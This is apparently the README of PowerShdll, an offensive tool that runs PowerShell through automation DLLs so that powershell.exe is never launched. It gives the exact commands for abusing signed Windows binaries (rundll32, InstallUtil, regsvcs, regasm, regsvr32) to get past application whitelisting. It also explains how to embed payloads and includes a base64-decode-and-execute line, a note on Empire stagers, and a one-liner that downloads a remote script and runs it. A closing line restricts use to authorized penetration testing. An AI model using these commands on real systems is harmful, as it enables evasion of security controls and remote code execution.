Run PowerShell with dlls only.
Does not require access to powershell.exe as it uses powershell automation dlls.
PowerShdll can be run with: rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe or as a standalone executable.
Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h Display this message
rundll32 PowerShdll,main -f <path> Run the script passed as argument
rundll32 PowerShdll,main -w Start an interactive console in a new window (Default)
rundll32 PowerShdll,main -i Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll
4.
regsvr32 /s /u PowerShdll.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShdll.dll --> Calls DllRegisterServer
Usage:
PowerShdll.exe <script>
PowerShdll.exe -h Display this message
PowerShdll.exe -f <path> Run the script passed as argument
PowerShdll.exe -i Start an interactive console in this console (Default)
Payloads can be embeded by modifying the "payload" variable in the start method of the common.cs file. If a payload is embeded, all other varguments will be ignored and the payload will be executed upon running PowerShdll.
rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
Note: Empire stagers need to be decoded using [System.Text.Encoding]::Unicode
rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
- .Net v3.5 for dll mode.
- .Net v2.0 for exe mode.
Some errors do not seem to show in the output. May be confusing as commands such as Import-Module do not output an error on failure. Make sure you have typed your commands correctly.
In dll mode, interractive mode and command output rely on hijacking the parent process' console. If the parent process does not have a console, use the -n switch to not show output otherwise the application will crash.
Due to the way Rundll32 handles arguments, using several space characters between switches and arguments may cause issues. Multiple spaces inside the scripts are okay.
This project is intended for security researchers and penetration testers and should only be used with the approval of system owners.